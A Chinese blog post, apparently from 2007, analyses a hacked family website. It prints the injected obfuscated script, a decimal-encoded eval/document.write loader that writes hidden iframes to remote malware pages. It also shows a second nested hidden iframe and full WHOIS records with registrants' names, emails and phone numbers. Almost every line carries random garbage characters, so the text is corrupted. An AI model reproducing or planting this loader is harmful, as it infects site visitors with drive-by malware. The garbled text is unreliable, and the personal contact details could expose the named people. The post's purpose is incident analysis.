首发在我的博客里面，
y:v, j42% lu Q~YjH http://www.areway.cn/?p=175 M q';S^ AwQ?l(iZ"p % ,+le K s 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
k,euhA/& H'Yh2a`!o <script>t=’60,105,102,114,97,109,101,
f/Cu E%7BR 32,115,114,99,61,104,116,116,112,58,47,47,
4CGPO c 102,114,101,101,46,117,45,117,117,117,46,99,
o|jI M9/ 110,47,101,114,114,111,114,46,104,116,109,
2<M= L1\ 32,119,105,100,116,104,61,49,48,48,32,104,
@?h/B=5 6 101,105,103,104,116,61,48,62,60,47,105,102,
6 uKTGc4 114,97,109,101,62′;
&89 oO@5 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
0uBl>A7qhn Tw + <script>t=’60,105,102,114,97,109,101,32,115,
q^6 +!&" 114,99,61,104,116,116,112,58,47,47,102,114,
B]tIi ^ 101,101,46,117,45,117,117,117,46,99,110,47,
odIZo|dv 101,114,114,111,114,46,104,116,109,32,119,
\U@rg4 105,100,116,104,61,49,48,48,32,104,101,105,
?-1r$31p 103,104,116,61,48,62,60,47,105,102,114,97,
&=4(l|wcg 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
LM2TZ document.write(t);</script>
RT%pDym\ ;sHN/e F <html xmlns=”
>>[ G 1 http://www.w3.org/1999/xhtml qKJSj
“>
Y!;|ld <head>
}NsU nbxT <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
4H@Wc^K <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
|HZT N" <title>首页 - 爱生活家庭网
c'*a{CV4P 7Pa@1'] 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Wh&8pH: 转换字符串后的大概内容是（谁点击后果自付）：
L/"0ws_ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
o/ui)U_ Y#g4$"G9 查询玉米u-uuu.cn的详细信息：
\W%UZs Domain Name: u-uuu.cn
u ElAn rm ROID: 20070901s10001s64972306-cn
' = l[;Q^Q Domain Status: ok
< })'Y~i Registrant Organization: 王雷
|ae97 5 Registrant Name: 王雷
EM\'GW Administrative Email:
czlovexs@126.com NKQOUw:qn Sponsoring Registrar: 北京万网志成科技有限公司
I gC}& Name Server:ns.yovole.com
^{8Gt @ Name Server:ns1.yovole.com
ZY:[ekm%4Z Registration Date: 2007-09-01 17:54
.Lfo)?zG Expiration Date: 2008-09-01 17:54
j;+?HbL 最后PING了一下地址 都没有什么….
Y"KE7>Jf umdG(os R 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
T~b>B`_ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
n`4K4y%Dy} <script language=”javascript” src=”
w |l1' http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script KM`eIw >8 >
,K^4fL$C;3 这个玉米应该有可能是木马作者的：
Oh4AsOj@ foafau.info的详细信息：
` c'W-O/ Access to INFO WHOIS information is provided to assist persons in
bO<C R determining the contents of a domain name registration record in the
hTwA % Afilias registry database. The data in this record is provided by
'g9"Qv?0{` Afilias Limited for informational purposes only, and Afilias does not
A pjOj/ guarantee its accuracy. This service is intended only for query-based
zq%D/H6J, access. You agree that you will use this data only for lawful purposes
frBX{L and that, under no circumstances will you use this data to: (a) allow,
,\v91 Rp~? enable, or otherwise support the transmission by e-mail, telephone, or
&7_Qd4=08w facsimile of mass unsolicited, commercial advertising or solicitations
\lSU to entities other than the data recipient’s own existing customers; or
_!|/
;Nk (b) enable high volume, automated, electronic processes that send
nVJPR queries or data to the systems of Registry Operator, a Registrar, or
Pzb|t+"$ Afilias except as reasonably necessary to register domain names or
J+f !Ar modify existing registrations. All rights reserved. Afilias reserves
WK SPBT; the right to modify these terms at any time. By submitting this query,
"] \+? you agree to abide by this policy.
+ +DG5` Domain ID:D22418703-LRMS
\cCV6A[ Domain Name:FOAFAU.INFO
=w$}m _AM Created On:20-Nov-2007 16:05:42 UTC
w}CmfR Last Updated On:20-Nov-2007 16:05:44 UTC
GLGz 2 ,# Expiration Date:20-Nov-2008 16:05:42 UTC
xzx$TUL Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
w;l <[q?_ Status:CLIENT DELETE PROHIBITED
&hk-1y9QS Status:CLIENT RENEW PROHIBITED
[}fv dW Status:CLIENT TRANSFER PROHIBITED
n3sUbs; Status:CLIENT UPDATE PROHIBITED
Q~Z=(rP20 Status:TRANSFER PROHIBITED
%e @#ux m Registrant ID:GODA-040110615
pD&& l!i&[ Registrant Name:liu hong
r
6Q Q Registrant Organization:
/6_|]ijc Registrant Street1:beijing
]G2uk` Registrant Street2:
\Vl`YYjZ Registrant Street3:
_@R0x#p5M Registrant City:beijing
1 1cWy+8D Registrant State/Province:
5pn)yk~ Registrant Postal Code:100000
@'=Uq Registrant Country:CN
(x q% Registrant Phone:+86.860108888777
?h1H.s2X Registrant Phone Ext.:
}Z qW@ - Registrant FAX:
z'`y,8Y 1l Registrant FAX Ext.:
F0690v0mB[ Registrant Email:bbbshiji@163.com
f# Xyoa% Admin ID:GODA-240110615
S ua[O$ Admin Name:liu hong
+\r+n~w Admin Organization:
"HXYNS> Admin Street1:beijing
}=!,o Admin Street2:
xGI, Lk+ Admin Street3:
?@n/v
F Admin City:beijing
,$eK-w Admin State/Province:
<`0h|m'U Admin Postal Code:100000
mZUfn%QXb( Admin Country:CN
3 LdQ]S Admin Phone:+86.860108888777
-Qn=|2Mm? Admin Phone Ext.:
)P| [r Admin FAX:
ti &J Admin FAX Ext.:
q5 L51KP2 Admin Email:bbbshiji@163.com
5?Wto4j Billing ID:GODA-340110615
gI8Bx ] Billing Name:liu hong
tbO
H#| Billing Organization:
lKgKtQpi Billing Street1:beijing
b9XW9O `B Billing Street2:
/ >j';6vi Billing Street3:
YA&g$! Billing City:beijing
> 0<)= Billing State/Province:
'L{8@gq i Billing Postal Code:100000
AL5Vu$V~n} Billing Country:CN
z(\4 M==2O Billing Phone:+86.860108888777
Oq3A#6~ Billing Phone Ext.:
0dh=fcb Billing FAX:
lHV[Ln`\x Billing FAX Ext.:
?i`l[+G Billing Email:bbbshiji@163.com
)3h^Y=43 Tech ID:GODA-140110615
!s@Rok Tech Name:liu hong
Dk5Zh+ ^ Tech Organization:
%e@HZ"V Tech Street1:beijing
v<fnB Tech Street2:
[NFNz w UB Tech Street3:
&)oOeRwi]. Tech City:beijing
,<:!NF9 Tech State/Province:
3 R&lqxhg Tech Postal Code:100000
(
9]_ HW[ Tech Country:CN
&5 L<i3BX Tech Phone:+86.860108888777
) yo
a Tech Phone Ext.:
^V %rag
Tech FAX:
Wpc|`e< Tech FAX Ext.:
_ {|D Tech Email:bbbshiji@163.com
2On_'^O Name Server:NS27.DOMAINCONTROL.COM
* Y@nVi Name Server:NS28.DOMAINCONTROL.COM
RyRpl*^ Name Server:
Pm$q]A~ Name Server:
t^ZV|s 1 Name Server:
}y%oT
P&
Name Server:
[le)P$ #z Name Server:
X=C1/ 4wU Name Server:
&[&r2 >a Name Server:
SwU\
q]^|Z Name Server:
uf&N[M Name Server:
{Ha8]y Name Server:
>><. 3 Name Server:
]Qu M< ms
=~I-]4 接着下载每个文件里面的代码：
IuZ) [*W 一步一步看..
TT9z_Q5~ 
2y%,p {=" 
mYc.x 
#Oha(mRY 
)z8!f}:De= 
%0Y=WYUH> 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
